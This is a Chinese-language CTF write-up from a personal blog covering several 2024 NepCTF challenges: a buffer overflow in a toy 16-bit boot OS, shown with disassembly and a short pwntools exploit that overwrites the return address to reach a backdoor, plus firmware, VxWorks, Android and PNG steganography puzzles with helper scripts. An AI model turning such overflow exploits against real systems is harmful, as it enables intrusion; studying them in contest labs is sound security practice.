2024NepCTFwriteup

2024NepCTF writeup

拿了两个hardware的2血,一个pwn的3血,第10名

1

hrpos

实现了一个最小的操作系统,并使用qemu运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash

while true; do
pkill -f qemu
qemu-system-x86_64 \
-m 1M \
-drive file=/home/nepkernel/floppy.img,format=raw,if=floppy \
-monitor /dev/null \
-serial tcp::8866,server,nowait \
-nographic \
-smp cores=1,threads=1 \
-cpu qemu64 2>/dev/null &
sleep 20
done

提取kernel.bin

1
dd if=floppy.img of=extracted_kernel.bin bs=512 skip=1 count=2879

ida分析后通过系统调用发现是16位boot程序,用16位打开,sub_22输出si指向的字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
seg000:0000                               sub_0 proc near                         ; CODE XREF: sub_0+20↓j
seg000:0000 31 C0 xor ax, ax
seg000:0002 8E D8 mov ds, ax
seg000:0004 8E C0 mov es, ax
seg000:0006 8E D0 mov ss, ax
seg000:0008 BC 00 7C mov sp, 7C00h
seg000:000B BE 78 10 mov si, 1078h
seg000:000E E8 11 00 call sub_22
seg000:000E
seg000:0011 BE 8C 10 mov si, 108Ch
seg000:0014 E8 0B 00 call sub_22
seg000:0014
seg000:0017 E8 44 00 call sub_5E
seg000:0017
seg000:001A BE 9E 10 mov si, 109Eh
seg000:001D E8 02 00 call sub_22
seg000:001D
seg000:0020 EB DE jmp short sub_0
seg000:0020
seg000:0020 sub_0 endp
...
seg000:0078 57 65 6C 63 6F 6D 65 20 74 6F+aWelcomeToMyOs db 'Welcome to my OS!',0Dh,0Ah,0
seg000:008C 45 6E 74 65 72 20 63 6F 6D 6D+aEnterCommand db 'Enter command: ',0Dh,0Ah,0
seg000:009E 55 6E 6B 6E 6F 77 6E 20 63 6F+aUnknownCommand db 'Unknown command!',0Dh,0Ah,0
seg000:00B1 4E 65 70 43 54 46 7B 48 52 50+aNepctfHrpLocal db 'NepCTF{HRP_Local_test}'

发现存在后门直接输出flag

1
2
3
4
seg000:002E BE B1 10                      mov     si, 10B1h
seg000:0031 E8 EE FF call sub_22
seg000:0031
seg000:0034 C3 retn

sub_5E猜测read的时候di会自增,存在溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
seg000:005E                               sub_5E proc near                        ; CODE XREF: sub_0+17↑p
seg000:005E
seg000:005E var_10= byte ptr -10h
seg000:005E
seg000:005E 55 push bp
seg000:005F 89 E5 mov bp, sp
seg000:0061 83 EC 10 sub sp, 10h
seg000:0064 8D 7E F0 lea di, [bp-10h]
seg000:0064
seg000:0067
seg000:0067 loc_67: ; CODE XREF: sub_5E+16↓j
seg000:0067 B4 00 mov ah, 0
seg000:0069 CD 16 int 16h ; KEYBOARD - READ CHAR FROM BUFFER, WAIT IF EMPTY
seg000:0069 ; Return: AH = scan code, AL = character
seg000:0069
seg000:006B 3C 0D cmp al, 0Dh
seg000:006D 74 07 jz short locret_76
seg000:006D
seg000:006F AA stosb
seg000:0070 B4 0E mov ah, 0Eh
seg000:0072 CD 10 int 10h ; - VIDEO - WRITE CHARACTER AND ADVANCE CURSOR (TTY WRITE)
seg000:0072 ; AL = character, BH = display page (alpha modes)
seg000:0072 ; BL = foreground color (graphics modes)
seg000:0072
seg000:0074 EB F1 jmp short loc_67
seg000:0074
seg000:0076 ; ---------------------------------------------------------------------------
seg000:0076
seg000:0076 locret_76: ; CODE XREF: sub_5E+F↑j
seg000:0076 C9 leave
seg000:0077 C3 retn

溢出改返回地址为后门即可

1
2
3
4
5
6
from pwn import*
io = remote('127.0.0.1',8866)
sleep(3)
backdoor = 0x2e
io.sendline(b'a'*(0x10+2) + p16(backdoor)+b'\x0d')
io.interactive()

flag输出后马上消失了,录视频暂停找flag

2

nepWRT??

给了一个openwrt固件的文件系统

发现初始化脚本里会往/www/init.etc写东西,形似bsae64,然后把这个文件的内容输出到n3pF1@g,grep找出所有写入操作

3

S表示启动脚本,K表示终止脚本,数字越小越先启动

4

按启动顺序对base64片段排序,有几处顺序不对,多尝试就行

5

火眼金睛

arm小端的Vxworks固件符号表分析,之前写过相关文章

流程:binwalk提取固件 -> 根据大小找到vxworks文件 -> grep找符号表文件 -> ida python脚本修复Vxworks文件的符号表

修复符号表过程中报错提示7GFXFGMLHNB2F6MLOL53FQ5ZQOJTUNAZXE7I=mote_sta_info是非法函数名称

16进制查看器找到这里

6

之后试了base64不对就去找别的点了,卡了半天,后来给了hint确认是这个点才发现是base32

7

0ezAndroid

用mt管理器把点击后的弹窗和随机位置变换的函数调用注释掉后重新编译打包安装

再用连点器一直点按钮得到flag

8

Nemophila

审计mini.py得到压缩包密码secret_is{Frieren&C_SunR15e&Himme1_eterna1_10ve}

解压压缩包得到png图片,查看hex发现加密了。把加密的前4个字节和正常的png头部.PNG异或,得到secr,猜测和压缩包密码循环异或加密。

解密得到png

1
2
3
4
5
6
7
8
9
10
11
with open('miaomiao.png', 'rb') as img:
cipher = img.read()

key = 'secret_is{Frieren&C_SunR15e&Himme1_eterna1_10ve}'

data = []
for i in range(len(cipher)):
data.append(ord(key[i%48]) ^ cipher[i])
print(data)
with open('miaomiao_dec.png', 'wb') as out:
out.write(bytes(data))

打开图片没flag,检查IHDR隐写,通过crc爆破图片宽高

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import zlib
import struct
import sys

filename = sys.argv[1]
with open(filename, 'rb') as f:
all_b = f.read()
crc32key = int(all_b[29:33].hex(),16)
data = bytearray(all_b[12:29])
n = 4095
for w in range(n):
width = bytearray(struct.pack('>i', w))
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
crc32result = zlib.crc32(data)
if crc32result == crc32key:
print("宽为:",end="")
print(width)
print("高为:",end="")
print(height)
exit(0)

#宽为:bytearray(b'\x00\x00\x07]')
#高为:bytearray(b'\x00\x00\x04\x1d')

16进制编辑器里对比发现高度被改小了,改回正常大小得到flag

9


2024NepCTFwriteup
https://lkliki.github.io/2024/08/26/2024NepCTFwriteup/
作者
0P1N
发布于
2024年8月26日
许可协议